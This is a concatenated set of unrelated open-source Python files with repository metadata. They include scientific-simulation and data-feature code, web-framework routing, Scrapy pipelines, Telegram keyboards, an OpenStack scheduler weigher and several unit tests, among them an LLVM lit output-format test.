BlockedConnectionTest from TimeWarpComputeNodeTest import TimeWarpComputeNodeTest from TransformPlugTest import TransformPlugTest from Transform2DPlugTest import Transform2DPlugTest from SequencePathTest import SequencePathTest from WeakMethodTest import WeakMethodTest from StringInOutNode import StringInOutNode from StringPlugTest import StringPlugTest from ContextVariablesTest import ContextVariablesTest from ValuePlugTest import ValuePlugTest from RandomTest import RandomTest from CompoundDataPlugTest import CompoundDataPlugTest from DependencyNodeTest import DependencyNodeTest from ComputeNodeTest import ComputeNodeTest from BoxPlugTest import BoxPlugTest from BoxTest import BoxTest from OutputRedirectionTest import OutputRedirectionTest from RecursiveChildIteratorTest import RecursiveChildIteratorTest from FilteredRecursiveChildIteratorTest import FilteredRecursiveChildIteratorTest from ReferenceTest import ReferenceTest from OrphanRemoverTest import OrphanRemoverTest from GraphComponentPathTest import GraphComponentPathTest from ArrayPlugNode import ArrayPlugNode from ArrayPlugTest import ArrayPlugTest from SerialisationTest import SerialisationTest from SwitchTest import SwitchTest from MetadataTest import MetadataTest from StringAlgoTest import StringAlgoTest from NodeAlgoTest import NodeAlgoTest from DotTest import DotTest from ApplicationTest import ApplicationTest from LeafPathFilterTest import LeafPathFilterTest from MatchPatternPathFilterTest import MatchPatternPathFilterTest from LoopTest import LoopTest from SubGraphTest import SubGraphTest from FileSequencePathFilterTest import FileSequencePathFilterTest from AnimationTest import AnimationTest from StatsApplicationTest import StatsApplicationTest from DownstreamIteratorTest import DownstreamIteratorTest from PerformanceMonitorTest import PerformanceMonitorTest if __name__ == "__main__": import unittest unittest.main()

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2

6a8f6d8a4a79270dbaadc3da3e9eadfe4701a899

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py

Python

tests/test_box.py

mjclarke94/lammps-cython

e90d4465cbf85e037b61f3f654cb6f0c3b0bee95

[ "MIT" ]

6

2018-10-10T18:13:09.000Z

2021-03-22T11:39:57.000Z

tests/test_box.py

mjclarke94/lammps-cython

e90d4465cbf85e037b61f3f654cb6f0c3b0bee95

[ "MIT" ]

null

tests/test_box.py

mjclarke94/lammps-cython

e90d4465cbf85e037b61f3f654cb6f0c3b0bee95

[ "MIT" ]

3

2018-08-26T14:40:00.000Z

2019-06-07T09:39:53.000Z

from math import pi import pytest import numpy as np import lammps def test_lattice_const_to_lammps_box_cubic(): lengths = (5, 5, 5) angles = (pi/2, pi/2, pi/2) origin = (0, 0, 0) a, b, c = lengths xlo, ylo, zlo = origin bounds, tilts, rotation_matrix = lammps.core.lattice_const_to_lammps_box(lengths, angles) assert np.all(np.isclose(bounds, [[xlo, xlo+a], [ylo, ylo+b], [zlo, zlo+c]])) assert np.all(np.isclose(tilts, (0, 0, 0))) assert np.all(np.isclose(rotation_matrix, np.eye(3))) def test_lattice_const_to_lammps_box_cubic_offset_origin(): lengths = (5, 5, 5) angles = (pi/2, pi/2, pi/2) origin = (4, 3, 2) a, b, c = lengths xlo, ylo, zlo = origin bounds, tilts, rotation_matrix = lammps.core.lattice_const_to_lammps_box(lengths, angles, origin=origin) assert np.all(np.isclose(bounds, [[xlo, xlo+a], [ylo, ylo+b], [zlo, zlo+c]])) assert np.all(np.isclose(tilts, (0, 0, 0))) assert np.all(np.isclose(rotation_matrix, np.eye(3))) def test_lattice_to_lammps_box_cubic_transform(): lengths = (5, 5, 5) angles = (pi/2, pi/2, pi/2) origin = (4, 3, 2) a, b, c = lengths xlo, ylo, zlo = origin bounds, tilts, rotation_matrix = lammps.core.lattice_const_to_lammps_box(lengths, angles, origin=origin) assert np.all(np.isclose(bounds, [[xlo, xlo+a], [ylo, ylo+b], [zlo, zlo+c]])) assert np.all(np.isclose(tilts, (0, 0, 0))) assert np.all(np.isclose(rotation_matrix, np.eye(3))) points = np.random.random((10, 3)) points_new_1 = lammps.core.transform_cartesian_vector_to_lammps_vector(points, rotation_matrix) assert np.all(np.isclose(points, points_new_1)) points_new_2 = lammps.core.transform_cartesian_vector_to_lammps_vector(points, rotation_matrix, origin) assert np.all(np.isclose(points + origin, points_new_2)) def test_lattice_const_to_lammps_box_rhomb(): # 3C-SiC lengths = (3.0968, 3.0968, 3.0968) angles = (pi/3, pi/3, pi/3) bounds, tilts, rotation_matrix = lammps.core.lattice_const_to_lammps_box(lengths, angles) assert np.all(np.isclose(bounds, ((0, 3.0968), (0, 2.6819074704396493), (0, 2.528526611816982)), atol=1e-3)) assert np.all(np.isclose(tilts, (1.5484000000000004, 1.5484000000000004, 0.8939691568132165))) def test_lammps_box_to_lattice_const_cubic(): bounds = [[0, 5], [0, 5], [0, 5]] tilts = (0, 0, 0) origin = (0, 0, 0) lengths, angles, origin = lammps.core.lammps_box_to_lattice_const(bounds, tilts) assert np.all(np.isclose(lengths, (5, 5, 5))) assert np.all(np.isclose(angles, (pi/2, pi/2, pi/2))) def test_lammps_box_orthogonal_reversible(): lengths = (4, 4, 4) angles = (pi/2, pi/2, pi/2) origin = (1, 2, 3) bounds, tilts, rotation_matrix = lammps.core.lattice_const_to_lammps_box(lengths, angles, origin=origin) lengths_r, angles_r, origin_r = lammps.core.lammps_box_to_lattice_const(bounds, tilts) assert np.all(np.isclose(lengths, lengths_r)) assert np.all(np.isclose(angles, angles_r)) assert np.all(np.isclose(origin, origin_r)) def test_lammps_box_tetrahedral_reversible(): # LiTaO3 lengths = (5.5338, 5.5338, 5.5338) angles = (56.14486291 * pi/180, 56.14486291 * pi/180, 56.14486291 * pi/180) origin = (1, 2, 3) bounds, tilts, rotation_matrix = lammps.core.lattice_const_to_lammps_box(lengths, angles, origin=origin) lengths_r, angles_r, origin_r = lammps.core.lammps_box_to_lattice_const(bounds, tilts) assert np.all(np.isclose(lengths, lengths_r)) assert np.all(np.isclose(angles, angles_r)) assert np.all(np.isclose(origin, origin_r)) def test_lammps_initial_box(lmp): assert lmp.box.dimension == 3 assert np.all(np.isclose(lmp.box.lengths, (1., 1., 1.))) assert np.all(np.isclose(lmp.box.angles, (pi/2., pi/2., pi/2.))) assert np.all(np.isclose(lmp.box.bounds, [[-0.5, 0.5], [-0.5, 0.5], [-0.5, 0.5]])) assert np.all(np.isclose(lmp.box.tilts, [0, 0, 0])) assert np.all(np.isclose(lmp.box.lengths_angles, [[1, 1, 1], [pi/2, pi/2, pi/2]])) # lammps has some seriously weird initial behavior # has unit cell 1x1x1 with volume 0 ??? # actually has non-deterministic behavior 0 or inf # assert np.isclose(lmp.box.volume, 0.) def test_lammps_set_box_from_lattice_const(lmp): atom_types = 5 lengths = (10, 10, 10) angles = (pi/2., pi/2., pi/2.) lmp.box.from_lattice_const(atom_types, lengths, angles) assert np.all(np.isclose(lmp.box.lengths, lengths)) assert np.all(np.isclose(lmp.box.angles, angles)) assert lmp.system.total == 0 assert len(lmp.system.atom_types) == atom_types assert np.isclose(lmp.box.volume, 10**3) def test_lammps_update_lattice_const(lmp): lengths = (10, 10, 10) angles = (pi/2., pi/2., pi/2.) lmp.box.update_lattice_const(lengths, angles) assert np.all(np.isclose(lmp.box.lengths, lengths)) assert np.all(np.isclose(lmp.box.angles, angles)) assert np.isclose(lmp.box.volume, 10**3)

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null

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6a95309d9f480004128354908a777169de1048da

641

py

Python

spaghetti/tests/test_api_network.py

gegen07/spaghetti

f10f9d016deeb8d4cdd63377304fc8e3b8492a0f

[ "BSD-3-Clause" ]

182

2018-07-23T20:17:32.000Z

2022-03-28T07:08:43.000Z

spaghetti/tests/test_api_network.py

gegen07/spaghetti

f10f9d016deeb8d4cdd63377304fc8e3b8492a0f

[ "BSD-3-Clause" ]

563

2017-04-14T23:39:21.000Z

2022-02-12T20:34:21.000Z

spaghetti/tests/test_api_network.py

gegen07/spaghetti

f10f9d016deeb8d4cdd63377304fc8e3b8492a0f

[ "BSD-3-Clause" ]

51

2017-04-14T23:40:31.000Z

2022-03-31T01:41:56.000Z

""" Testing for the spaghetti api import structure. """ import unittest from .network_unittest_classes import TestNetwork from .network_unittest_classes import TestNetworkPointPattern from .network_unittest_classes import TestNetworkAnalysis # api import structure import spaghetti # run tests on spaghetti.network.Network TestNetwork.spaghetti = spaghetti TestNetwork() # run tests on spaghetti.network.PointPattern TestNetworkPointPattern.spaghetti = spaghetti TestNetworkPointPattern() # run tests on spaghetti.analysis TestNetworkAnalysis.spaghetti = spaghetti TestNetworkAnalysis() if __name__ == "__main__": unittest.main()

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0

1

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2

6aa9bb696576cb54c5c762feaf552f7b23cea8f0

1,974

py

Python

cesium/features/common_functions.py

acrellin/cesium

9d33edc0f9b3a79c68070826c0f390896abe294d

[ "BSD-3-Clause" ]

603

2016-04-15T00:11:07.000Z

2022-03-18T09:10:39.000Z

cesium/features/common_functions.py

acrellin/cesium

9d33edc0f9b3a79c68070826c0f390896abe294d

[ "BSD-3-Clause" ]

146

2016-03-17T19:58:24.000Z

2022-02-05T20:36:03.000Z

cesium/features/common_functions.py

acrellin/cesium

9d33edc0f9b3a79c68070826c0f390896abe294d

[ "BSD-3-Clause" ]

84

2016-04-13T23:30:58.000Z

2022-03-18T07:34:09.000Z

import numpy as np from scipy import stats def max_slope(t, x): """Compute the largest rate of change in the observed data.""" slopes = np.diff(x) / np.diff(t) return np.max(np.abs(slopes)) def maximum(x): """Maximum observed value.""" return np.max(x) def median(x): """Median of observed values.""" return np.median(x) def median_absolute_deviation(x): """Median absolute deviation (from the median) of the observed values.""" return np.median(np.abs(x - np.median(x))) def minimum(x): """Minimum observed value.""" return np.min(x) def percent_beyond_1_std(x, e): """Percentage of values more than 1 std. dev. from the weighted average.""" dists_from_mu = x - weighted_average(x, e) return np.mean(np.abs(dists_from_mu) > weighted_std_dev(x, e)) def percent_close_to_median(x, window_frac=0.1): """Percentage of values within window_frac*(max(x)-min(x)) of median.""" window = (x.max() - x.min()) * window_frac return np.mean(np.abs(x - np.median(x)) < window) def skew(x): """Skewness of a dataset. Approximately 0 for Gaussian data.""" return stats.skew(x) def std(x): """Standard deviation of observed values.""" return np.std(x) def weighted_average(x, e): """Arithmetic mean of observed values, weighted by measurement errors.""" return np.average(x, weights=1. / (e**2)) def weighted_average_std_err(x, e): """ Standard deviation of the sample weighted average of values x with measurement errors e. Note: this is not the same as the weighted sample standard deviation; this value only quantifies the measurement errors, not the dispersion of the data. """ return np.sqrt(1.0 / np.sum(e**2)) def weighted_std_dev(x, e): """Standard deviation of observed values, weighted by measurement errors.""" return np.sqrt(np.average((x - weighted_average(x, e))**2, weights=1. / (e**2)))

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1

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6ab1e103fbf234d369d759be37b846a948dab2da

712

py

Python

hacking/imgur-image-scraping-spider/pipelines.py

Dilmuratjan/MyProject

26f4ee708eb4a7ceef780842ad737fef64a39d7e

[ "WTFPL" ]

2

2017-02-19T15:11:06.000Z

2017-02-22T18:34:10.000Z

hacking/imgur-image-scraping-spider/pipelines.py

Dilmuratjan/MyProject

26f4ee708eb4a7ceef780842ad737fef64a39d7e

[ "WTFPL" ]

null

hacking/imgur-image-scraping-spider/pipelines.py

Dilmuratjan/MyProject

26f4ee708eb4a7ceef780842ad737fef64a39d7e

[ "WTFPL" ]

4

2017-02-26T08:10:30.000Z

2017-05-02T10:02:03.000Z

import scrapy from scrapy.contrib.pipeline.images import ImagesPipeline ITEM_PIPELINES = {'imgur.pipelines.ImgurPipeline': 1} class ImgurPipeline(ImagesPipeline): def set_filename(self, response): #add a regex here to check the title is valid for a filename. return 'full/{0}.jpg'.format(response.meta['title'][0]) def get_media_requests(self, item, info): for image_url in item['image_urls']: yield scrapy.Request(image_url, meta={'title': item['title']}) def get_images(self, response, request, info): for key, image, buf in super(ImgurPipeline, self).get_images(response, request, info): key = self.set_filename(response) yield key, image, buf

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0

null

0

null

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1

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1

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2

6ab427479b343856ab22ab50d8dd0460263d9bc0

83

py

Python

natlutil/lemmatizer/__init__.py

alexandredias3d/natlutil

6d6325d4dc8892c96ff4827873cb1530813c97db

[ "Apache-2.0" ]

null

natlutil/lemmatizer/__init__.py

alexandredias3d/natlutil

6d6325d4dc8892c96ff4827873cb1530813c97db

[ "Apache-2.0" ]

1

2019-06-07T02:00:43.000Z

natlutil/lemmatizer/__init__.py

alexandredias3d/natlang

6d6325d4dc8892c96ff4827873cb1530813c97db

[ "Apache-2.0" ]

null

from natlutil.lemmatizer.unitexpb import * __all__ = [ 'UnitexPBDictionary' ]

13.833333

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null

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1

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null

0

2

6ab87dc47936cd627d6ed01d824ff3d42f43ded2

176

py

Python

examples/my_blueprint.py

fmux/sanicpluginsframework

175525e85504fcf6e7d32bf12874578fc14c115a

[ "MIT" ]

46

2017-10-19T00:59:07.000Z

2020-11-16T21:16:47.000Z

examples/my_blueprint.py

fmux/sanicpluginsframework

175525e85504fcf6e7d32bf12874578fc14c115a

[ "MIT" ]

17

2017-12-25T00:27:36.000Z

2021-03-21T14:45:20.000Z

examples/my_blueprint.py

fmux/sanicpluginsframework

175525e85504fcf6e7d32bf12874578fc14c115a

[ "MIT" ]

10

2017-12-22T03:26:16.000Z

2020-10-19T19:16:59.000Z

from sanic import Blueprint api_v1 = Blueprint(__name__, None) @api_v1.middleware(attach_to="request") async def bp_mw(request): print("Hello bp") __all__ = ['api_v1']

16

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null

0

null

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6ac3ffe45dd0af323c8514ef525e2a106b062de5

292

py

Python

webhook/urls.py

userlocalhost/airone-1

8aabeabb65fd2117876380f1f69a04f0cf39889d

[ "MIT" ]

null

webhook/urls.py

userlocalhost/airone-1

8aabeabb65fd2117876380f1f69a04f0cf39889d

[ "MIT" ]

null

webhook/urls.py

userlocalhost/airone-1

8aabeabb65fd2117876380f1f69a04f0cf39889d

[ "MIT" ]

null

from django.conf.urls import url, include from . import views urlpatterns = [ url(r"^api/v1/", include(("webhook.api_v1.urls", "webhook.api_v1"))), url(r"^api/v2/", include(("webhook.api_v2.urls", "webhook.api_v2"))), url(r"^(\d+)$", views.list_webhook, name="list_webhook"), ]

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1

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1

0

null

0

2

6ac87723db27b50eaf3e3b2c6575d88c16918e02

493

py

Python

spider/bookinfo/items.py

leitelyaya/Broadview-analysing-sales-figures

bdff4239fd71b5077bc05703757d9f5d2610c536

[ "Apache-2.0" ]

5

2018-08-20T03:54:30.000Z

2019-03-08T14:43:37.000Z

spider/bookinfo/items.py

leitelyaya/Broadview-analysing-sales-figures

bdff4239fd71b5077bc05703757d9f5d2610c536

[ "Apache-2.0" ]

null

spider/bookinfo/items.py

leitelyaya/Broadview-analysing-sales-figures

bdff4239fd71b5077bc05703757d9f5d2610c536

[ "Apache-2.0" ]

5

2018-01-07T01:33:00.000Z

2019-03-08T14:44:24.000Z

# -*- coding: utf-8 -*- # Define here the models for your scraped items # # See documentation in: # http://doc.scrapy.org/en/latest/topics/items.html import scrapy class BookinfoItem(scrapy.Item): # define the fields for your item here like: # name = scrapy.Field() coverImage = scrapy.Field() #"cover.jpg", classify = scrapy.Field() #"分类", index = scrapy.Field() #"列表页中的排名", pageNo = scrapy.Field() #"列表中的第几页", content = scrapy.Field() #"html内容"

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1

0

null

0

1

0

2

6acdec1991bc193db767a67b9d8b1fe1727998d7

518

py

Python

tests/r/test_pension.py

hajime9652/observations

2c8b1ac31025938cb17762e540f2f592e302d5de

[ "Apache-2.0" ]

199

2017-07-24T01:34:27.000Z

2022-01-29T00:50:55.000Z

tests/r/test_pension.py

hajime9652/observations

2c8b1ac31025938cb17762e540f2f592e302d5de

[ "Apache-2.0" ]

46

2017-09-05T19:27:20.000Z

2019-01-07T09:47:26.000Z

tests/r/test_pension.py

hajime9652/observations

2c8b1ac31025938cb17762e540f2f592e302d5de

[ "Apache-2.0" ]

45

2017-07-26T00:10:44.000Z

2022-03-16T20:44:59.000Z

from __future__ import absolute_import from __future__ import division from __future__ import print_function import shutil import sys import tempfile from observations.r.pension import pension def test_pension(): """Test module pension.py by downloading pension.csv and testing shape of extracted data has 194 rows and 19 columns """ test_path = tempfile.mkdtemp() x_train, metadata = pension(test_path) try: assert x_train.shape == (194, 19) except: shutil.rmtree(test_path) raise()

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6ad4b0307023ca0f07b1c891343ae1a90f5a5ad5

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py

Python

llvm/utils/lit/tests/shtest-format.py

medismailben/llvm-project

e334a839032fe500c3bba22bf976ab7af13ce1c1

[ "Apache-2.0" ]

158

2016-07-21T10:45:05.000Z

2022-03-25T00:56:20.000Z

llvm/utils/lit/tests/shtest-format.py

medismailben/llvm-project

e334a839032fe500c3bba22bf976ab7af13ce1c1

[ "Apache-2.0" ]

59

2019-02-26T18:57:27.000Z

2020-08-04T20:49:55.000Z

llvm/utils/lit/tests/shtest-format.py

medismailben/llvm-project

e334a839032fe500c3bba22bf976ab7af13ce1c1

[ "Apache-2.0" ]

62

2016-08-29T17:28:11.000Z

2021-12-29T17:55:58.000Z

# Check the various features of the ShTest format. # # RUN: rm -f %t.xml # RUN: not %{lit} -j 1 -v %{inputs}/shtest-format --xunit-xml-output %t.xml > %t.out # RUN: FileCheck < %t.out %s # RUN: FileCheck --check-prefix=XUNIT < %t.xml %s # END. # CHECK: -- Testing: # CHECK: PASS: shtest-format :: argv0.txt # CHECK: FAIL: shtest-format :: external_shell/fail.txt # CHECK-NEXT: *** TEST 'shtest-format :: external_shell/fail.txt' FAILED *** # CHECK: Command Output (stdout): # CHECK-NEXT: -- # CHECK-NEXT: line 1: failed test output on stdout # CHECK-NEXT: line 2: failed test output on stdout # CHECK: Command Output (stderr): # CHECK-NEXT: -- # CHECK-NEXT: cat{{(\.exe)?}}: {{cannot open does-not-exist|does-not-exist: No such file or directory}} # CHECK: -- # CHECK: FAIL: shtest-format :: external_shell/fail_with_bad_encoding.txt # CHECK-NEXT: *** TEST 'shtest-format :: external_shell/fail_with_bad_encoding.txt' FAILED *** # CHECK: Command Output (stdout): # CHECK-NEXT: -- # CHECK-NEXT: a line with bad encoding: # CHECK: -- # CHECK: PASS: shtest-format :: external_shell/pass.txt # CHECK: FAIL: shtest-format :: fail.txt # CHECK-NEXT: *** TEST 'shtest-format :: fail.txt' FAILED *** # CHECK-NEXT: Script: # CHECK-NEXT: -- # CHECK-NEXT: printf "line 1 # CHECK-NEXT: false # CHECK-NEXT: -- # CHECK-NEXT: Exit Code: 1 # # CHECK: Command Output (stdout): # CHECK-NEXT: -- # CHECK-NEXT: $ ":" "RUN: at line 1" # CHECK-NEXT: $ "printf" # CHECK-NEXT: # command output: # CHECK-NEXT: line 1: failed test output on stdout # CHECK-NEXT: line 2: failed test output on stdout # CHECK: UNRESOLVED: shtest-format :: no-test-line.txt # CHECK: PASS: shtest-format :: pass.txt # CHECK: UNSUPPORTED: shtest-format :: requires-missing.txt # CHECK: PASS: shtest-format :: requires-present.txt # CHECK: UNRESOLVED: shtest-format :: requires-star.txt # CHECK: UNSUPPORTED: shtest-format :: requires-triple.txt # CHECK: PASS: shtest-format :: unsupported-expr-false.txt # CHECK: UNSUPPORTED: shtest-format :: unsupported-expr-true.txt # CHECK: UNRESOLVED: shtest-format :: unsupported-star.txt # CHECK: UNSUPPORTED: shtest-format :: unsupported_dir/some-test.txt # CHECK: PASS: shtest-format :: xfail-expr-false.txt # CHECK: XFAIL: shtest-format :: xfail-expr-true.txt # CHECK: XFAIL: shtest-format :: xfail-feature.txt # CHECK: XFAIL: shtest-format :: xfail-target.txt # CHECK: XFAIL: shtest-format :: xfail.txt # CHECK: XPASS: shtest-format :: xpass.txt # CHECK-NEXT: *** TEST 'shtest-format :: xpass.txt' FAILED *** # CHECK-NEXT: Script # CHECK-NEXT: -- # CHECK-NEXT: true # CHECK-NEXT: -- # CHECK: Testing Time # CHECK: Unexpected Passing Tests (1) # CHECK: shtest-format :: xpass.txt # CHECK: Failing Tests (3) # CHECK: shtest-format :: external_shell/fail.txt # CHECK: shtest-format :: external_shell/fail_with_bad_encoding.txt # CHECK: shtest-format :: fail.txt # CHECK: Expected Passes : 7 # CHECK: Expected Failures : 4 # CHECK: Unsupported Tests : 4 # CHECK: Unresolved Tests : 3 # CHECK: Unexpected Passes : 1 # CHECK: Unexpected Failures: 3 # XUNIT: <?xml version="1.0" encoding="UTF-8" ?> # XUNIT-NEXT: <testsuites> # XUNIT-NEXT: <testsuite name="shtest-format" tests="22" failures="7" skipped="4"> # XUNIT: <testcase classname="shtest-format.shtest-format" name="argv0.txt" time="{{[0-9]+\.[0-9]+}}"/> # XUNIT: <testcase classname="shtest-format.external_shell" name="fail.txt" time="{{[0-9]+\.[0-9]+}}"> # XUNIT-NEXT: <failure{{[ ]*}}> # XUNIT: </failure> # XUNIT-NEXT: </testcase> # XUNIT: <testcase classname="shtest-format.external_shell" name="fail_with_bad_encoding.txt" time="{{[0-9]+\.[0-9]+}}"> # XUNIT-NEXT: <failure{{[ ]*}}> # XUNIT: </failure> # XUNIT-NEXT: </testcase> # XUNIT: <testcase classname="shtest-format.external_shell" name="pass.txt" time="{{[0-9]+\.[0-9]+}}"/> # XUNIT: <testcase classname="shtest-format.shtest-format" name="fail.txt" time="{{[0-9]+\.[0-9]+}}"> # XUNIT-NEXT: <failure{{[ ]*}}> # XUNIT: </failure> # XUNIT-NEXT: </testcase> # XUNIT: <testcase classname="shtest-format.shtest-format" name="no-test-line.txt" time="{{[0-9]+\.[0-9]+}}"> # XUNIT-NEXT: <failure{{[ ]*}}> # XUNIT: </failure> # XUNIT-NEXT: </testcase> # XUNIT: <testcase classname="shtest-format.shtest-format" name="pass.txt" time="{{[0-9]+\.[0-9]+}}"/> # XUNIT: <testcase classname="shtest-format.shtest-format" name="requires-missing.txt" time="{{[0-9]+\.[0-9]+}}"> # XUNIT-NEXT:<skipped message="Skipping because of: a-missing-feature" /> # XUNIT: <testcase classname="shtest-format.shtest-format" name="requires-present.txt" time="{{[0-9]+\.[0-9]+}}"/> # XUNIT: <testcase classname="shtest-format.shtest-format" name="requires-star.txt" time="{{[0-9]+\.[0-9]+}}"> # XUNIT-NEXT: <failure{{[ ]*}}> # XUNIT: </failure> # XUNIT-NEXT: </testcase> # XUNIT: <testcase classname="shtest-format.shtest-format" name="requires-triple.txt" time="{{[0-9]+\.[0-9]+}}"> # XUNIT-NEXT:<skipped message="Skipping because of: x86_64" /> # XUNIT: <testcase classname="shtest-format.shtest-format" name="unsupported-expr-false.txt" time="{{[0-9]+\.[0-9]+}}"/> # XUNIT: <testcase classname="shtest-format.shtest-format" name="unsupported-expr-true.txt" time="{{[0-9]+\.[0-9]+}}"> # XUNIT-NEXT:<skipped message="Skipping because of configuration." /> # XUNIT: <testcase classname="shtest-format.shtest-format" name="unsupported-star.txt" time="{{[0-9]+\.[0-9]+}}"> # XUNIT-NEXT: <failure{{[ ]*}}> # XUNIT: </failure> # XUNIT-NEXT: </testcase> # XUNIT: <testcase classname="shtest-format.unsupported_dir" name="some-test.txt" time="{{[0-9]+\.[0-9]+}}"> # XUNIT-NEXT:<skipped message="Skipping because of configuration." /> # XUNIT: <testcase classname="shtest-format.shtest-format" name="xfail-expr-false.txt" time="{{[0-9]+\.[0-9]+}}"/> # XUNIT: <testcase classname="shtest-format.shtest-format" name="xfail-expr-true.txt" time="{{[0-9]+\.[0-9]+}}"/> # XUNIT: <testcase classname="shtest-format.shtest-format" name="xfail-feature.txt" time="{{[0-9]+\.[0-9]+}}"/> # XUNIT: <testcase classname="shtest-format.shtest-format" name="xfail-target.txt" time="{{[0-9]+\.[0-9]+}}"/> # XUNIT: <testcase classname="shtest-format.shtest-format" name="xfail.txt" time="{{[0-9]+\.[0-9]+}}"/> # XUNIT: <testcase classname="shtest-format.shtest-format" name="xpass.txt" time="{{[0-9]+\.[0-9]+}}"> # XUNIT-NEXT: <failure{{[ ]*}}> # XUNIT: </failure> # XUNIT-NEXT: </testcase> # XUNIT: </testsuite> # XUNIT-NEXT: </testsuites>

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6adb553dce195998456694bd789763a78896d906

221

py

Python

setup.py

mikanbox/certbeginner

d147ddac13a8308ec1e07b56c872eb46c5a4a815

[ "Apache-2.0" ]

null

setup.py

mikanbox/certbeginner

d147ddac13a8308ec1e07b56c872eb46c5a4a815

[ "Apache-2.0" ]

null

setup.py

mikanbox/certbeginner

d147ddac13a8308ec1e07b56c872eb46c5a4a815

[ "Apache-2.0" ]

null

from setuptools import setup setup( name='certbeginner', version='1.0.0', install_requires=['argparse'], entry_points={ "console_scripts": ['crtbg = src.app:main'] } )

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6ae35abc4a7d4c66d615c6151ad2f2e33c8e4033

480

py

Python

env.py

masanobu48154/ansible_build_wp

9e5741957cdb1c9d293ea0f7962bc8a4eb2d23c8

[ "BSD-3-Clause" ]

null

env.py

masanobu48154/ansible_build_wp

9e5741957cdb1c9d293ea0f7962bc8a4eb2d23c8

[ "BSD-3-Clause" ]

null

env.py

masanobu48154/ansible_build_wp

9e5741957cdb1c9d293ea0f7962bc8a4eb2d23c8

[ "BSD-3-Clause" ]

null

#!user/bin/python class MyEnv: """ """ def __init__(self): self.my_env = { "subnet": "<your_lab_subnet/mask>", "gateway": "<your_lab_gateway_ip_address>", "ansible_addr": "<ansible_container_ip_address>", "web_addr": "<wev_container_ip_address>", "db_addr": "<db_container_ip_address>", "phsical_nic": "<NIC name of docker host>", "db_password": "<mysql_password>" }

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null

0

1

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0a783bd4b58da85e29e93464a57661225beb40fd

1,545

py

Python

keyboards.py

Liubasia/tg-secret-santa-bot

a361fada02c7cdbc88f47485f8ab111f68435344

[ "MIT" ]

7

2021-11-26T15:39:34.000Z

2021-12-20T13:20:02.000Z

keyboards.py

Liubasia/tg-secret-santa-bot

a361fada02c7cdbc88f47485f8ab111f68435344

[ "MIT" ]

8

2021-11-20T23:04:17.000Z

2022-02-02T11:19:20.000Z

keyboards.py

Liubasia/tg-secret-santa-bot

a361fada02c7cdbc88f47485f8ab111f68435344

[ "MIT" ]

2

2021-12-01T18:04:40.000Z

2022-01-16T03:38:18.000Z

from telegram import InlineKeyboardMarkup, InlineKeyboardButton, Message from emojis import Emoji from config import config def secret_santa(chat_id: int, bot_username: str, participants_count: int = 0): # knowing the message id is not really needed because a caht can only have one ongoing secret chat deeplink_url = f"https://t.me/{bot_username}?start={chat_id}" keyboard = [ [InlineKeyboardButton(f"{Emoji.LIST} join", url=deeplink_url)], [InlineKeyboardButton(f"{Emoji.CROSS} cancel", callback_data=f"cancel")], ] if participants_count: unsubscribe_button = InlineKeyboardButton(f"{Emoji.FREEZE} leave", callback_data=f"leave") keyboard[0].append(unsubscribe_button) if participants_count >= config.santa.min_participants: start_button = InlineKeyboardButton(f"{Emoji.SANTA} start match", callback_data=f"match") keyboard[1].append(start_button) return InlineKeyboardMarkup(keyboard) def joined_message(chat_id: int): return InlineKeyboardMarkup( [[ InlineKeyboardButton(f"{Emoji.FREEZE} leave", callback_data=f"private:leave:{chat_id}"), InlineKeyboardButton(f"{Emoji.LIST} update your name", callback_data=f"private:updatename:{chat_id}") ]] ) def revoke(): return InlineKeyboardMarkup([[InlineKeyboardButton(f"{Emoji.CROSS} revoke", callback_data=f"revoke")]]) def new_santa(): return InlineKeyboardMarkup([[InlineKeyboardButton(f"{Emoji.TREE} new Secret Santa", callback_data=f"newsanta")]])

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0a7b1a96f35172e4fdd90c6e4f154a82c0020afe

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py

Python

nova/scheduler/weights/ram.py

lixiaoy1/nova

357b8b38e88300948bb2e07d1bbaabd1e9d7b60e

[ "Apache-2.0" ]

2

2021-10-11T04:56:25.000Z

2022-02-16T08:49:29.000Z

nova/scheduler/weights/ram.py

ljzjohnson/nova

87e1951a1b8c03b9ecdf8f75610d14690b61f272

[ "Apache-2.0" ]

132

2017-03-27T11:31:52.000Z

2022-03-30T08:45:02.000Z

nova/scheduler/weights/ram.py

ljzjohnson/nova

87e1951a1b8c03b9ecdf8f75610d14690b61f272

[ "Apache-2.0" ]

8

2017-03-27T07:50:38.000Z

2020-02-14T16:55:56.000Z

# Copyright (c) 2011 OpenStack Foundation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """ RAM Weigher. Weigh hosts by their RAM usage. The default is to spread instances across all hosts evenly. If you prefer stacking, you can set the 'ram_weight_multiplier' option to a negative number and the weighing has the opposite effect of the default. """ import nova.conf from nova.scheduler import weights CONF = nova.conf.CONF class RAMWeigher(weights.BaseHostWeigher): minval = 0 def weight_multiplier(self): """Override the weight multiplier.""" return CONF.filter_scheduler.ram_weight_multiplier def _weigh_object(self, host_state, weight_properties): """Higher weights win. We want spreading to be the default.""" return host_state.free_ram_mb

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1

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0a8328b9a3f6b6cbda1b1ad098e77cbfe813a558

682

py

Python

twisted/lore/test/test_scripts.py

ioggstream/twisted

34f9b1e3f097685839000c656332c66ee85be5d8

[ "Unlicense", "MIT" ]

7

2015-04-28T13:26:11.000Z

2020-02-09T17:01:04.000Z

twisted/lore/test/test_scripts.py

ioggstream/twisted

34f9b1e3f097685839000c656332c66ee85be5d8

[ "Unlicense", "MIT" ]

4

2017-02-19T23:58:13.000Z

2019-11-01T15:31:22.000Z

twisted/lore/test/test_scripts.py

ioggstream/twisted

34f9b1e3f097685839000c656332c66ee85be5d8

[ "Unlicense", "MIT" ]

6

2017-02-13T09:11:02.000Z

2021-06-29T11:22:18.000Z

# Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ Tests for the command-line interface to lore. """ from twisted.trial.unittest import TestCase from twisted.scripts.test.test_scripts import ScriptTestsMixin from twisted.python.test.test_shellcomp import ZshScriptTestMixin class ScriptTests(TestCase, ScriptTestsMixin): """ Tests for all one of lore's scripts. """ def test_lore(self): self.scriptTest("lore/lore") class ZshIntegrationTestCase(TestCase, ZshScriptTestMixin): """ Test that zsh completion functions are generated without error """ generateFor = [('lore', 'twisted.lore.scripts.lore.Options')]

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1

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1

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2

0a83ff2d5a326326c4c83e273dca2750c377b990

505

py

Python

